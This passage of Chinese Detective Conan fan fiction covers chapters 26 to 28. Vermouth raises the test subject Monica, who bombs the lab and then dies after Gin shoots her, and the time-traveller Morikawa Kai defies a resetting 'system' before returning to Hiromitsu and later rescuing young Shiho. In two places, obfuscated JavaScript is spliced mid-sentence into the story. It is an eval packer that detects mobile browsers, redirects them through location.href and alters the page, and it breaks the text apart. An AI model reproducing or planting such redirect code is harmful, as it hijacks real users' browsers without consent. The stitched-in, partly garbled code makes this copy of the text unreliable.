莎朗沉默了一会儿,伸手把她的被子掖好。 “下次疼就说。” 莫妮卡看着她,灰蓝色的眼睛在黑暗中亮亮的:“说了有用吗?” 莎朗想了想:“不一定。” “那我还是不说了。” 莎朗想说点什么,又不知道该说什么。最后只是拍了拍她的被子:“睡吧。” 她站起来要走,却被莫妮卡拉住了睡衣下摆。 “怎么了?” 莫妮卡看着她,不说话,就那么拉着她的衣服。 莎朗站了一会儿,叹了口气,掀开被子躺了进去。 莫妮卡往她身边挪了挪,把脸埋在她胳膊上。 “就今晚。”莎朗说。 莫妮卡没吭声。过了一会儿,传来均匀的呼吸声。 养莫妮卡实在是省心,就像养一只乖巧的小狗。 狗是得寸进尺的坏小狗——这是后来莎朗发现的。 因为从那之后,莫妮卡就像打通了什么任督二脉,开始变本加厉地往她身上凑。 早上起床要抱,晚上睡觉要陪,看电视要坐腿上,看书要趴背上。莎朗在书房工作,她就坐在旁边的地板上,抱着她的腿发呆。莎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那妈妈抱抱。” 莎朗的手悬在半空中,停顿了两秒,最后落在莫妮卡的后背上。莫妮卡在她怀里动了动,找了个舒服的姿势,不动了。过了一会儿,传来均匀的呼吸声。 莎朗低头一看——睡着了。 她看着怀里那张小小的脸,浅金色的头发乱糟糟的,睫毛很长,在眼睑上投下一小片阴影。睡得很安心,嘴角微微翘着,不知道在做什么梦。 窗外不知道什么时候开始下雨,雨点打在玻璃上,啪嗒啪嗒的。客厅里只开了一盏落地灯,暖黄色的光,照在沙发上。 莎朗靠在沙发背上,看着窗外的雨。 怀里的小孩动了动,往她身上又蹭了蹭。 莎朗低头看了一眼,伸手把她滑下来的头发拨到耳后。 狗是坏小狗。 但是坏就坏吧。 那天晚上雨下了一整夜。 莫妮卡一直睡在她怀里,中途醒过一次,迷迷糊糊地叫了声“妈妈”。 “嗯。”莎朗应了一声,莫妮卡就又睡着了。 莎朗看着窗外的雨,想起第一次见莫妮卡的那天。那时候小孩站在门口,穿着那条过长的白裙子,灰蓝色的眼睛里什么都没有,像一张白纸。 现在那张纸上开始有东西了。 莎朗不知道这是好事还是坏事。她只知道,每个月带莫妮卡去研究所的时候,小孩还是会乖乖地跟她去,还是会安静地坐在后座看着窗外,出来的时候还是会脸色发白。 但晚上回来之后,莫妮卡还是会往她身上凑,还是会叫妈妈,还是会趴在她怀里睡着。 莎朗有时候想她们到底是什么关系。 说是母女,其实没有血缘。说是收养,又不是正常的那种收养。组织把莫妮卡给她,可能只是因为觉得同样是实验体的她更合适,或者纯粹是懒得找别人。莫妮卡叫她妈妈,大概也只是因为需要一个会答应的人。 但每次莫妮卡这么叫的时候,莎朗发现自己已经不会去纠正了。 习惯真是一件可怕的事。 雨还在下。莎朗把莫妮卡往上抱了抱,让她睡得更舒服一点。 窗外偶尔有车经过,灯光从窗帘的缝隙里透进来,在墙上划过一道痕迹,又消失了。客厅里很安静,只有雨声和莫妮卡均匀的呼吸声。 莎朗闭上眼睛。 明天还要拍戏,后天还有个试镜,下周又要带莫妮卡去研究所。 日子就这么一天天过着。 怀里的莫妮卡翻了个身,嘟囔了一句什么,听不清。莎朗没睁眼,只是轻轻拍了拍她的背。 “睡吧。” 声音很轻,很快就被雨声淹没了。 26.026 莫妮卡七岁那年,莎朗开始带她出任务。 说是任务,其实大多数时候只是带着。莎朗在里面谈事情,莫妮卡就在外面的车上等。有时候等得久了,莫妮卡就趴在车窗上数外面的车,数累了就缩在后座睡觉。 莎朗每次出来,都能看到那个小小的身影缩成一团,呼吸均匀,睡得正香。 莎朗上车的时候动静大了点,莫妮卡醒了,迷迷糊糊地揉眼睛。 “完了吗?” “完了。” “回家吗?” “回家。” 莫妮卡点点头,往她这边挪了挪,把脑袋靠在她腿上,又睡着了。莎朗低头看她,小孩的头发长长了,扎了两个小辫子,现在睡得乱七八糟,一个辫子散了,头发糊在脸上。莎朗伸手把那些头发拨开,露出她的脸。 开车的司机从后视镜里看了一眼,没说话。 后来任务慢慢变多了,也开始变复杂了。 莎朗发现莫妮卡有一个特点:什么都会一点,但没有哪一样是特别突出的。 射击一直在训练,能打中靶子,但打不到十环。近身格斗学了一年,能应付几下,但真打起来肯定吃亏。跟踪技巧教过,能跟得住人,但总是跟不了太久就会被发现。易容术也学过,能把自己变成另一个样子,但细节上总有破绽。 “你怎么什么都学不会?”有一次莎朗问她。 莫妮卡眨眨眼睛:“我都学会了啊。” “学会什么?都是半吊子。” 莫妮卡歪着头想了想:“半吊子也是会啊。” 莎朗被她说得没脾气。 后来她慢慢明白了,莫妮卡不是学不会,而是没有那种一定要学好的劲头。她做事情总是刚刚好,不多不少,及格就行。 可在组织里这是最要命的。 组织不需要及格的人。组织需要的是最好的,或者至少是足够好的,不够好的人最后都会被放弃。 “放弃”这个词在组织里有很多种意思。可能是调去干别的工作,可能是被边缘化,也可能是—— 莎朗没有往下想。 莫妮卡十岁那年,有一次任务出了岔子。 不是什么大任务,只是去盯一个人,记下他的行踪。莎朗让莫妮卡去做,自己在不远处看着,算是锻炼。 结果莫妮卡把人跟丢了。 那个人进了商场,莫妮卡跟着进去,在电梯里被人挤了一下,出来的时候就找不到了。她在商场里转了三圈,最后只能出来,站在门口等莎朗。 莎朗走过去的时候,莫妮卡正低着头站在那,两只手背在身后,脚在地上画圈。 “人呢?” “丢了。” “怎么丢的?” 莫妮卡把事情说了一遍,声音越来越小,说到最后几乎听不见。 莎朗看着她,没说话。 莫妮卡抬起头来看她一眼,又低下头去。过了一会儿,小声说:“对不起。” “对不起有用吗?” 莫妮卡抿了抿嘴,没吭声。 莎朗站在那里,看着她。十岁的小孩,站在人来人往的商场门口,那么小一只。头发扎得整整齐齐,衣服穿得干干净净,看起来和普通人家的孩子没什么两样。可普通人家的小孩不会因为跟丢了一个人就害怕成这样。 “走了。”莎朗转身往停车的地方走。 莫妮卡愣了一下,小跑着跟上来,想去拉莎朗的手,伸到一半又缩回去了。 莎朗没回头,但手往后伸了一下。 莫妮卡看着那只手,又看看莎朗的背影,慢慢把手放进去。 莎朗握住了。 那天晚上回家,莫妮卡一直很安静。吃完饭,洗了澡,乖乖上床睡觉。莎朗半夜去看她,发现她没睡,睁着眼睛看天花板。 “怎么不睡?” 莫妮卡转过头来,黑暗中看不清她的表情。 “妈妈,我会被放弃吗?” 莎朗愣了一下。 莫妮卡的声音很轻:“我今天想了很多。我跟丢了人,我学什么都学不好,我什么都做不好。我会不会被组织放弃?” 莎朗走过去,在床边坐下,沉默了很久。久到莫妮卡以为她不会回答了,才听到莎朗的声音。 “不会。” 莫妮卡看着她。 莎朗没看她,看着窗外的月亮。 “你不会被放弃。” “为什么?” 莎朗转过头来,看着她:“因为我在。” 那天晚上莫妮卡往她怀里钻了很久,怎么都睡不着。莎朗就那么抱着她,一直到后半夜,怀里的孩子终于睡着了,呼吸均匀,眉头还皱着。 莎朗低头看着她。 十岁,到组织已经五六年了,五六年来每个月都要去研究所,每次回来都半死不活。学东西永远只学到及格线,不是学不会,是根本不想学好的样子。平时看着没心没肺,今天丢了个人就害怕成这样。 莎朗想起刚才那句话。 “我会不会被组织放弃?” 她没说出口的是:不会。因为我会挡在你前面。 莫妮卡十三岁那年开始抽条了。 那一年她长得特别快,春天的时候还能穿的衣服,到夏天就短了一大截。莎朗带她去买了新衣服,回来的时候莫妮卡在镜子前照了半天。 “怎么了?” “我长大了。”莫妮卡看着镜子里的自己,声音有点奇怪。 莎朗靠在门框上看着她。 十三岁的女孩已经到她肩膀高了,脸上的婴儿肥消下去一些,下巴开始有轮廓。头发还是浅金色的,长到腰,披散着。眼睛还是蓝色的,颜色深了些,不再是小时候那种什么都看不出来的干净,开始有别的东西。 “长大不好吗?” 莫妮卡没回答,转过头来看她。 “妈妈,我是不是快要停下来了?” 莎朗知道她在说什么。 药物作用下的成长不是正常的成长。莫妮卡会很快长到少女的样子,然后在某个年纪停下来,再也不变。就像她一样。 “不知道。”莎朗说。 莫妮卡走过来,站在她面前,仰着头看她:“那我会变成妈妈这样吗?” 莎朗看着她。十三岁的脸,眼睛里是她看不懂的东西。 “也许吧。” 莫妮卡沉默了一会儿,然后突然笑了。 “那挺好的。” “哪里好?” “可以一直陪着妈妈。” 莎朗没说话。 那几年她们一起做过很多事。 出任务,回家,做饭,看电视。莎朗拍戏的时候莫妮卡就在片场等,有时候太晚了,就在莎朗的休息室里睡。莫妮卡去研究所的时候莎朗就在外面等,有时候等得太久,就在车里睡一会儿。 日子就这么一天天过着。 有时候莎朗会想,如果她们不是在组织里认识的该多好。 如果是在外面,在路上偶遇或者在某个场合认识,她会是什么样?大概会是个普通的小姑娘吧。上学,交朋友,为考试发愁,为喜欢的人脸红。长大了会做什么工作?会不会结婚?会不会有孩子? 然后莎朗又会想,如果是在外面,她们根本不会认识。 不同的世界,不同的人。没有组织就没有莎朗·温亚德,也没有莫妮卡。 有一天晚上,她们坐在沙发上看电视。放的什么片子已经忘了,只记得是个喜剧,莫妮卡笑得东倒西歪,靠在她身上。 笑着笑着,莫妮卡突然不笑了。 “妈妈。” “嗯?” “你在想什么?” 莎朗低头看她。莫妮卡正仰着脸,灰蓝色的眼睛在电视的光里亮亮的。 “没想什么。” “骗人。”莫妮卡坐直了,认真地看着她,“你刚才在想事情。想很久了。” 莎朗沉默了一会儿:“我在想,如果不在组织里会怎么样。” 莫妮卡语气很轻松:“不在组织里,我们会在哪儿?” “不知道。”莎朗说,“也许根本不会认识。” “不会的。”莫妮卡想了想,摇摇头。 “为什么?” “因为我们会认识的。”莫妮卡说得很认真,“不管在哪儿,我们都会认识的。” 莎朗看着她:“你这么肯定?” “因为我认识你啊。”莫妮卡点点头。 “这是什么逻辑?”莎朗愣了一下,然后笑了。 “我的逻辑。”莫妮卡理直气壮,又靠回她身上,“反正我认识你了,所以不管在哪儿都会认识。” 莎朗没再说话。电视里的喜剧还在放,笑声一阵一阵的。莫妮卡在她怀里动了动,找了个舒服的姿势。 过了一会儿,莎朗开口了:“如果能离开呢?” 莫妮卡抬起头:“什么?” “如果能离开组织。”莎朗的声音很轻,像是怕被谁听到,“你想不想走?” 莫妮卡看着她,看了很久。久到莎朗以为她不会回答了,莫妮卡才开口: “妈妈想不想?” 莎朗没说话。 “妈妈想的话,我们就走。”莫妮卡坐起来,认真地看着她。 莎朗看着她。十三岁的脸,蓝色的眼睛里是认真的光,像天空一样长久的存在着。 “这不是想不想的问题。”莎朗说,“是能不能的问题。” 莫妮卡沉默了一会儿。 “不能吗?” “不能。” 莫妮卡没再问。 那天晚上莫妮卡在她怀里睡着的,莎朗却一直没睡。她看着窗外的月亮,想着刚才那句话。 不能。 从进组织的那天起,就不能了。 莫妮卡十四岁那年发现了贝尔摩德的那个秘密。 不是故意发现的。那天她去研究所做例行的检查,完事后在走廊里等莎朗来接她。等得无聊,就到处走走看看。 走到一间办公室门口,门虚掩着,里面有人说话。莫妮卡本来没想听,但她听到了一个词。 “莎朗·温亚德。” 她停住了。 “……” “……那个实验体,现在还在用吗?” “早就不用了。药物已经稳定了,不需要再监测。不过档案还留着,毕竟她是第一个成功的。” “第一个?那后来那些呢?” “后来的都没她稳定。有几个失败了,你知道的。还有一个,就是她现在养着的那个小女孩。” “那个叫莫妮卡的?” “对。BOSS的意思,让她们互相看着。都是实验体,应该能理解彼此。” 莫妮卡站在门外,一动不动,后面的话她几乎没听进去。她跟踪学的很差,潜伏也不太好,那天却不知怎么着一直没被发现,一直听了下去。 都是实验体。 都是。 她不知道自己是怎么走出那栋楼的,等回过神来,已经坐在门口的台阶上了。天阴阴的,云低垂着像要下雨,风吹过来,有点凉。 都是实验体。 她想起每个月来研究所的日子。想起那些针,那些管子,那些仪器。想起每次回去的时候莎朗在外面等她,什么都不问。 都是实验体。 她想起莎朗刚才那句话。 “从进组织的那天起,就不能了。” 因为从一开始就没有选择,所以什么都不行,什么都不能。因为从来没有希望,所以什么都不会想什么都不会要。 莫妮卡把脸埋在膝盖里。她不知道自己在那里坐了多久。直到有人把手放在她肩上,她才抬起头来。 莎朗站在她面前叹气:“怎么在外面坐着?电话也不接。” 莫妮卡看着她,看了很久,久到莎朗皱起眉头:“怎么了?” 莫妮卡站起来抱住她,莎朗愣了一下,然后伸手拍了拍她的背。 “怎么了?”又问了一遍。 “没事。”莫妮卡把脸埋在她肩上,声音闷闷的。 “没事你抱什么?” “就是想抱。” 莎朗没再问,站在那里让她抱着。 过了一会儿,莫妮卡松开她仰起脸来,眼睛红红的但没有哭。 “回家吗?”她问。 莎朗看着她:“回家。” 那天晚上莫妮卡一直很安静。吃饭,洗澡,睡觉,什么都没说。莎朗去她房间看了几次,她都闭着眼睛,像是睡着了。 莫妮卡十五岁那年做了决定。 那一年她已经长成了少女的样子。浅金色的长发,眼睛的灰蓝色又深了些,站在那里已经像个大人了。只是脸上的表情还和小时候一样。 晚上莎朗拍戏回来,发现莫妮卡坐在客厅里等她。灯没开,只有月光从窗户照进来。莫妮卡坐在沙发上,抱着膝盖,像小时候那样。 “怎么不开灯?” “在想事情。” 莎朗走过去,在她旁边坐下:“想什么?” 莫妮卡转过头来看她。 “妈妈,你还记得吗?以前你问我,想不想离开组织。” 莎朗愣了一下:“记得。” “我当时问你,妈妈想不想。” 莎朗点点头。 莫妮卡看着她,月光照在她脸上,灰蓝色的眼睛亮亮的。 “我现在知道答案了。” 莎朗皱起眉头:“什么意思?” 莫妮卡没回答。她站起来,走到窗边,看着外面的月亮。 “妈妈,你知道吗?我今天去研究所了。不是去做检查,是去看的。” 莎朗站起来:“莫妮卡——” “别急。”莫妮卡转过身来,笑了笑,“我只是去看看。看看那个地方。” 莎朗走过去,抓住她的肩膀。 “你想干什么?” 莫妮卡看着她,眼睛里有莎朗没见过的光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210589|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妈妈,我不想让你在那个地方再待下去了。” “你什么意思?”莎朗的手收紧了一下,心中徒然生出巨大的恐慌。 莫妮卡把手覆在她手上,轻轻拍了拍:“我放了一些东西在那里。明天就会炸。” 莎朗脑子里嗡的一声:“你疯了?” “我没有。”莫妮卡笑了笑,“我很清醒。” 莎朗抓着她肩膀的手都在发抖:“你知道你在干什么吗?背叛组织——你知道后果吗?” “知道。” “那你为什么——” “因为我不能让那个地方继续存在。”莫妮卡打断她,眼里是隐隐的泪光,“因为那个地方对你做过那些事。对我做过我可以忍,但为什么是你,妈妈?我做不到让你处在痛苦之中。” 莎朗看着她。 月光下的莫妮卡已经和她一样高了,站在那里,脸上是她没见过的表情。 “你怎么知道——” “我听到了。”莫妮卡说,“两年前在研究所,我听到他们说,你是第一个成功的实验体……你从来没告诉过我。” 莎朗的手松开了。 莫妮卡看着她。 “妈妈,你从来不说。你什么都不说。但我知道你一定很疼,比我还疼,因为你是第一个。” 莎朗张了张嘴,没说出话来。 莫妮卡走上前,抱住她。 “我做不到别的。我学什么都学不好,做什么都做不成。但我至少可以做这一件事。” 莎朗抱住她,抱得很紧。 “你会死的。” “也许吧。” “也许?” 莫妮卡松开她,退后一步,看着她。 “妈妈,你要走。” 莎朗摇头:“我不——” “你要走。”莫妮卡打断她,“明天爆炸之后,组织会乱一阵子。你要趁这个机会走。能走多远走多远。” “那你呢?” 莫妮卡笑了笑。 莎朗抓住她的手:“莫妮卡——” “妈妈。”莫妮卡反握住她的手,“你听我说,我这辈子最幸运的事就是被你养大。小时候他们把我送来的时候我什么都不懂,只知道跟着你。后来慢慢懂了,知道你是第一个,知道你也疼,知道你从来不说。” “我一直想为你做点什么。可我什么都做不好。这次总算能做一件能做的事了。” 莎朗的眼眶红了。 “你不能——” “妈妈。”莫妮卡伸手,抹掉她眼角的泪,“你走,走得远远的,然后活下去。” 莎朗看着她。 十五岁的脸,已经是大人的样子了。眼睛里的光比任何时候都亮,亮的几乎烧了起来,像一片蓝色的大火。 “为什么?”莎朗问,声音沙哑。 莫妮卡想了想,笑了。 “因为我认识你啊。” 第二天,研究所炸了。 莎朗站在远处的楼顶上,看着那边的火光。火很大,烧红了半边天。警笛声远远传来,乱成一团。 她应该走的。莫妮卡让她走,走得远远的。可她没走。莫妮卡太天真了,她连一次完整的任务都没经历过,怎么可能做到这些事。从她走进研究所的那一刻她的命运就注定是死亡,而贝尔摩德作为她的监护人同样有责任。 可莫妮卡不懂,莫妮卡只是爱她。 不知道过了多久,身后有脚步声。 莎朗转过身,是琴酒。 银色的长发,黑色的风衣,一手拎着把枪,一手拎着浑身是血的莫妮卡。他把莫妮卡和枪随意地扔在地上,像是知道地上那个人再也起不来。琴酒脸上没什么表情,像是在做一件很普通的事。 莎朗看着他手里的枪。枪口是热的,还在冒烟。 “杀了她。”琴酒说。 “是先生的命令吗?”莎朗冷淡地问。 “你不需要知道。” 莎朗站在那里,一动不动。 琴酒看了她一眼,转身走了。脚步声越来越远,直到听不见。 莎朗还站在那里。远处的火光还在烧,把她的脸照得忽明忽暗。 “妈妈……”莫妮卡声音很轻。 贝尔摩德上前,跪坐在莫妮卡身边,看着莫妮卡逐渐无神的眼睛,闭上双眼。 莫妮卡沾满血的手艰难地拿起枪。 风带着大火的余温吹过来,让人眼眶发烫。 “对不起,妈妈。再见。” 枪声响了。 莎朗忽然想到,蓝色眼睛在刚出生时是浅色的,随着年龄的增长蓝色会慢慢加深,到了年迈又会再次慢慢变浅。她们是组织的实验体,应该这辈子都不会有这个过程,可她的孩子在未老去时就死去了,她看着那双临终的眼,想到的却是很多年前,那个穿白裙子的小女孩站在门口,灰蓝色的眼睛里什么都没有,干净的像空无一物的天空,想起她慢慢往自己身上蹭的样子,想起她趴在自己怀里睡着的样子,想起她说“因为我认识你啊”的样子。 她睁开眼睛最后看了一眼那边的火光,然后转身走进夜色里。 从那之后,她恨琴酒。 恨了很多年。 很多年以后,她还会想起莫妮卡。 有时候是在深夜,一个人坐在黑暗里。有时候是在执行任务的时候,看到某个相似的背影。有时候是莫名其妙的瞬间,闻到某种味道,听到某首歌。 每次想起的时候,她都会想起那句话。 “因为我认识你啊。” 那时候她不明白,什么叫“因为我认识你”,后来她慢慢懂了。没人教过莫妮卡什么是爱,她只能用这样的方式剖开自己的心,说我爱你、我会记住你、我想和你一起离开。 就像她记得那个小女孩,穿着过长的白裙子站在门口,灰蓝色的眼睛倒映出她自己。 就像她记得那个小姑娘,趴在她怀里睡着了,呼吸均匀,嘴角微微翘着。 就像她记得那个少女,站在月光下,说“妈妈,你走。走得远远的,然后活下去。” 她活下去了,带着那个人的记忆一直活下去了。有时候她会想,如果那天晚上她早一点发现莫妮卡在想什么,如果那天她拦住她不让她去,如果—— 但没有如果。 唯一有的就是那个夜晚,那场大火,和那句“因为我认识你啊”。 …… 她在纽约的街头遇到一个戴眼镜的小男孩。男孩的眼睛同样是蓝色,但很亮,看着她的时候一点都不害怕。 她忽然想起很多年前也有一个人这样看着她,灰蓝色的眼睛里什么都没有,后来慢慢有了东西。 她没说话,转身走了。小男孩在后面喊什么,她没听清,直到走远了才停下来回头看了一眼。 街灯亮着暖黄色的光,她想起那个小女孩,坐在客厅的落地灯下,抱着膝盖,等她回家。 那时候她以为日子会一直那样过下去。 可日子没有。 27.027 森川海醒过来的时候,不知道自己在哪里。 周围什么都没有。没有墙,没有地板,没有天空,只有灰白色发着微光的虚无向四面八方无限延伸。他躺在那里,像一片漂浮在死水上的落叶。 他坐起来。 头痛得厉害,从脑子深处往外钻的痛,像有什么东西在里面搅动。他按住太阳穴,用力压着,想让那股痛停下来。 然后记忆来了,像海水一样一起涌过来,像无数根针同时扎进脑子里。 莫妮卡。 那个名字从记忆深处浮上来,带着模糊的画面——一个瘦小的女孩站在昏暗的走廊里,抬起头看着什么人的背影。银色的长发,黑色的风衣。是琴酒。 还有另一个画面。那个女人。金色的头发,美丽到不真实的脸,总是带着那种似笑非笑的表情看他——不,看她。看莫妮卡。 贝尔摩德。 森川海的手在发抖。 他想起来了。 那是一个他开过的游戏号。那时候他还不知道这些时间线会变成真实,不知道这些人会真的活过来,不知道他每一次读档都会留下无法抹去的痕迹。他只是想试试不同的剧情,不同的身份,不同的人生。 然后琴酒的枪响了。 森川海低下头,看着自己的手。 他想起了莫妮卡死的时候。那个小女孩躺在冰冷的地上,眼睛还睁着。贝尔摩德跪在她旁边,没有哭,只是看着。那个眼神他记不清了,但那种感觉他还记得,像整个世界都在那一刻碎了。 他终于明白了。 一周目的清水茶柱——一个和莫妮卡完全不同的身份,不同的人生,却拥有神似的脸。那次贝尔摩德让他换上女装后,简直和长大的莫妮卡一模一样。贝尔摩德的目光他当时不懂,现在懂了。 她不是看他,是看那张和莫妮卡相似的脸。 森川海坐在那片灰白色的虚无里,抱着头。 他想起很多事。想起贝尔摩德偶尔看他的眼神,想起她欲言又止的几次,想起有一次她站在走廊里,背对着他,很久很久没有动。 那时候他不知道她在想什么。 现在他知道了,她在想莫妮卡。 森川海把脸埋进膝盖里。 他想,如果贝尔摩德真的爱过莫妮卡的话,她会不会……她会不会有可能背叛组织? 为了那个小女孩。 为了那个叫她“妈妈”的孩子。 他抬起头。 周围还是一片虚无。灰白色的光无边无际,像永远走不出去的梦。 他看着那片虚无,慢慢想起另一件事。 他回不去了。 不仅是因为没路,还因为他改了太多东西。救了景光,救了松田,让萩原活过了十一月七日,让赤井秀一在纽约的雪夜里对他说“下个时间我们再见”。每改变一次,时间线就多一条分叉。现在那些分叉已经太多太多了,多到把他挤出了时间的河流。 他卡在罅隙里,卡在时间和空间的缝隙里,什么地方都不属于。 森川海沉默了很久。 然后他笑了一声:“系统不在了,怎么还在坑我。” 没有人回答他。 他坐在那里看着那片虚无。不知道过了多久——这里没有时间,他没办法计算——他忽然想起刚才想起莫妮卡的时候,还有一些别的记忆也在往外涌。 他的记忆是乱的,并不完整。他到现在才想起来莫妮卡的事,那还有多少事是他忘记的?还有多少事是他记错的? 他想不起来。 他不知道。 那种感觉很难形容。像站在一片很大的雾里,你知道周围有路,但看不见。你知道你走过这些路,但不记得从哪里走过来的。 他把手伸到面前,看着那只手。 很正常。五指,骨节,皮肤。但他知道这只手穿过时间,穿过那个五彩缤纷的、扭曲的光的通道。他知道这只手曾经变成过别的东西,变成过不属于这个世界的东西。 那些光还在他身体里。 那些读档留下的线还在。 它们已经多到足够把他推出时间了。 森川海闭上眼睛。 他想起了那些被他救回来的人。他们都活着。景光现在应该在安全屋里等他回去,松田和萩原应该还在处理摩天轮的后续,赤井秀一还没暴露身份。 他想起松田按在他后颈上的手,想起景光说的“你会回来的”,想起萩原站在摩天轮下仰头看他的样子。 他们活着,这一点就够了。 就在这时,他听见了那个声音。 不是耳朵听见的,是从脑子深处响起来的。那种熟悉的、冰冷的、没有任何情绪的电子音。 是系统。 【警告。】 森川海猛地睁开眼睛。 【检测到玩家严重偏离既定剧情线。】 【累计偏离次数:无法统计。】 【当前状态:脱离时间锚点。】 【建议:立即执行强制修正程序。】 森川海站起来。 他站在那片灰白色的虚无里,四周什么都没有,但那个声音还在响。 【警告。】 【修正程序即将启动。】 【目标:恢复剧情线至可接受偏差范围内。】 系统一直在挑衅他。 “你敢。”森川海说。 那个声音没有停。 【警告。】 【检测到多条时间线存在不可逆扭曲。】 【修正优先级:第一序列——警校组全员存活状态,判定为严重偏差。】 【修正方案:重置。】 【预计执行时间:未知。】 森川海的心猛地抽紧了。 重置。 他知道那是什么意思。把一切都抹掉,从头再来。松田还会死在摩天轮上,景光还会把枪口抵住自己的胸口,萩原还会在那个公寓里被炸成碎片。所有的努力,所有的读档,所有的痛——全部归零。 ……那又怎么样? 如果一切被修正,他就可以从时间的乱流中走出去,再拯救他们一次。这是他无论有没有记忆、认不认识这些人都会去做的事。 只是又一次循环而已。 【警告。】 【修正程序加载中。】 他站在那片虚无里,下定了决心。 那个声音还在继续。一条一条地跳出来,像刷屏一样,越来越多,越来越快。 【警告。】 【剧情线偏移度:无法计算。】 【警告。】 【异常节点过多,修正难度极高。】 【警告。】 【检测到玩家情绪波动剧烈,建议配合修正程序以降低痛苦。】 【警告】 【警告】 那些字一条一条在他脑子里炸开,像无数根针同时扎进去。他按住头,蹲下来,那种痛太熟悉了——每一次读档之后都会有的,脑子里像被什么东西搅过的感觉。但这一次比任何一次都重,重到他快要撑不住。 【警告。】 【修正程序即将——】 金色的眼睛里有什么东西在烧。 【警告。】 【修正程序无法中止。】 【建议——】 “我不听你的建议。” 森川海站起来。他站在那片灰白色的虚无里,站在那些密密麻麻的警告文字中间,攥紧拳头。 “我从来没听过你的建议。” 他往前走了一步。 什么都没有的地方,他往前走了一步。 “一周目的时候,你说不要和琴酒走太近,会出事,我没听。我当了两年他的搭档,死在他面前。” 他又走了一步。 “二周目的时候,你说不要进警校,不要认识那些人,会改变太多。我没听。我进去了,认识了,死了一次又一次。” 再走一步。 “你一 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想起诸伏景光说“你会回来的”时那双平静的蓝眼睛。 【五】 【四】 想起萩原研二站在摩天轮下仰着头,彩色的灯光落在他脸上。 【三】 【二】 想起赤井秀一蹲在他面前,说“想逃避的话,也可以”。 【一】 那个声音停了,什么都没有发生。 一秒、两秒、三秒。 他低头看自己的手,那只手还在,金色的眼睛还在。他还站在这片灰白色的罅隙里,没有被重置,没有被修正,没有消失。 那个声音又响起来了。 【……约定失效。】 【修正程序中止。】 【系统即将关闭。】 森川海没有说话。 【再见。】 【○○○】 那个名字让他愣了一下,可随后系统的声音消失了,再也没有响起来。森川海站在罅隙里,很久很久。 “等一下,我还在这里。”他说,“我还在。” 没有人回答他,但他知道有人在外面等他。他失约了太多次,现在他要回去,不管这个罅隙有多大,不管要走多久。他要回去。 他迈开脚步朝着一个方向走去——那地方什么都没有,可既然反正是什么都没有,那又有什么区别? 灰白色的光在他身后慢慢变暗。他走着,一直走着,不知道走了多久,直到前面有一点亮光——红的,黄的,蓝的,绿的。像摩天轮上的灯,一圈一圈地转着。 他朝那点亮走过去,越走越快、越走越快,然后跑起来。 那点亮越来越大,越来越亮,最后变成一片—— 安全屋的窗户。 黄昏的光从外面照进来,落在地板上,落在空荡荡的椅子上,落在一个人身上。 诸伏景光坐在床边看着他。 森川海站在门口喘气。 “我回来了。”森川海说。 “我知道。”诸伏景光回答。 窗外的黄昏还在,远处的摩天轮还亮着灯,东京的夜晚正要来临。森川海闭上眼睛。他想起那个在罅隙里响起的电子音,想起那些密密麻麻的警告,想起那个他至今不明白的“原始约定”。 那些都不重要了。 重要的是他现在在这里。活着,被人抱着,等着他的那些人还在等他。 他会查清楚所有事。那个约定,那个让他被困在这里的存在,他的记忆里那些残缺的部分。 但不是现在。 现在他只想这样待一会儿。 窗外有风吹过,很轻。 28.028 宫野志保是被烟呛醒的。 不是普通的烟——刺鼻,辛辣,带着化学试剂燃烧时特有的焦臭味。她睁开眼睛,看见门缝底下钻进来的灰白色烟雾,像无数条细小的蛇蜿蜒着爬进房间。 房间里很暗,是凌晨浓稠的黑暗。她躺在床上没动,听见外面有人在喊什么,脚步声杂乱地踩过走廊,踩得天花板都在轻轻震颤。 然后她听见了爆炸声。 不是很大,闷闷的一声,像什么东西塌了下去。她坐起来,赤脚踩在地板上,木质地板传来的凉意从脚底蹿上来,一直蹿到后脊梁。她走到门边,握住门把手—— 烫的。 她把手缩回来,攥着那只手站在那儿,盯着那扇门。又一阵脚步声跑过去,有人在喊“起火了”,有人在喊“实验室”,她听见这些话,站在那里没动。 走廊里的喊叫声越来越远,好像所有人都往一个方向跑了。她听见火焰燃烧的噼啪声,听见玻璃炸裂的声音,听见什么东西正在塌陷。 她就那么站着,光着脚。 门被人从外面撞开的时候,她往后退了一步。 热浪涌进来,带着火星和灰烬。宫野志保眯起眼睛,看见一个男人站在门口,逆着光看不清脸,只看见一双红色的眼睛燃烧着,像外面的大火。 那人在门口停了不到一秒,目光扫过她全身,然后弯下腰,把她抱起来。 她闻到焦糊的味道,还有血腥味,不知道是他的还是别人的。她想挣扎,但那人抱得很紧,一只手托着她的后脑勺,把她按在肩膀上。她看不见路,只听见风声和脚步声,还有越来越远的嘈杂。 冷空气打在脸上。 宫野志保抬起头,看见暗红色的夜空映着下面燃烧的房子,那栋她住了五年的房子,父母的实验室。二楼窗口蹿出火舌,玻璃碎了,一块一块往下掉,砸在地上发出清脆的碎裂声。 那个男人把她放进一辆车里,关上车门。 宫野志保趴在车窗上往外看,看见他站在车外面,背对着她,望着那片火光。他站得很直,但不知道为什么,她觉得那个背影看起来很难过——像是在看什么再也回不去的地方。 车门打开,他坐了进来,对司机说:“走。” 车子启动的时候,她回过头,一直看着那片越来越小的火光,直到它消失在道路尽头。她没哭,只是把脸贴在冰凉的玻璃上,看着黑暗从四面八方涌过来。 那年宫野志保五岁。 那个男人叫森川海。 这是她后来才知道的。在飞机上,他递给她一杯水,然后从口袋里掏出一张卡片,上面印着这个名字,还有一行英文。他递卡片过来的手很稳,指节分明,指甲修剪得很整齐,不像一个刚从火场里出来的人。 “以后我照顾你。”森川海说。 